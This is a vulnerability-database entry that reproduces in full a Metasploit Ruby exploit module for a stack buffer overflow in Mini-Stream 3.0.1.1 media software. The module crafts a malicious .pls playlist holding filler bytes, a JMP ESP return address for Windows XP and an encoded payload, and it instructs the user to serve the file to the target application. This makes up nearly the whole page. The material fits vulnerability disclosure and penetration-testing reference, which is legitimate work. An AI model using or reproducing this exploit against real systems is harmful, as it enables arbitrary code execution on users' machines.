Mini-Stream 3.0.1.1 - Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Buffer Overflow in Mini-Stream 3.0.1.


                                                ##
# $Id: mini_stream.rb 11516 2011-01-08 01:13:26Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39; =&#62; &#39;Mini-Stream 3.0.1.1 Buffer Overflow Exploit&#39;,
			&#39;Description&#39; =&#62; %q{
					This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
				By creating a specially crafted pls file, an an attacker may be able
				to execute arbitrary code.
			},
			&#39;License&#39; =&#62; MSF_LICENSE,
			&#39;Author&#39; =&#62;
				[
					&#39;CORELAN Security Team &#39;,
					&#39;Ron Henry &#60;rlh[at] ciphermonk.net&#62;&#39;, # Return address update
					&#39;dijital1&#39;,
				],
			&#39;Version&#39; =&#62; &#39;$Revision: 11516 $&#39;,
			&#39;References&#39; =&#62;
				[
					[ &#39;OSVDB&#39;, &#39;61341&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/10745&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;thread&#39;,
					&#39;DisablePayloadHandler&#39; =&#62; &#39;true&#39;,
				},
			&#39;Payload&#39; =&#62;
				{
					&#39;Space&#39; =&#62; 3500,
					&#39;BadChars&#39; =&#62; &#34;\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39; =&#62; &#39;win&#39;,
			&#39;Targets&#39; =&#62;
				[
					[ &#39;Windows XP SP3 - English&#39;, { &#39;Ret&#39; =&#62; 0x7e429353} ], 		# 0x7e429353 JMP ESP - USER32.dll
					[ &#39;Windows XP SP2 - English&#39;, { &#39;Ret&#39; =&#62; 0x7c941eed} ], 		# 0x7c941eed JMP ESP - SHELL32.dll
				],
			&#39;Privileged&#39; =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Dec 25 2009&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))

		register_options(
			[
				OptString.new(&#39;FILENAME&#39;, [ false, &#39;The file name.&#39;, &#39;metasploit.pls&#39;]),
			], self.class)
	end


	def exploit
		sploit = rand_text_alphanumeric(17403)
		sploit &#60;&#60; [target.ret].pack(&#39;V&#39;)
		sploit &#60;&#60; &#34;CAFE&#34; * 8
		sploit &#60;&#60; payload.encoded

		print_status(&#34;Creating &#39;#{datastore[&#39;FILENAME&#39;]}&#39; file ...&#34;)
		file_create(sploit)
		print_status(&#34;Copy &#39;#{datastore[&#39;FILENAME&#39;]}&#39; to a web server and pass the URL to the application&#34;)
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1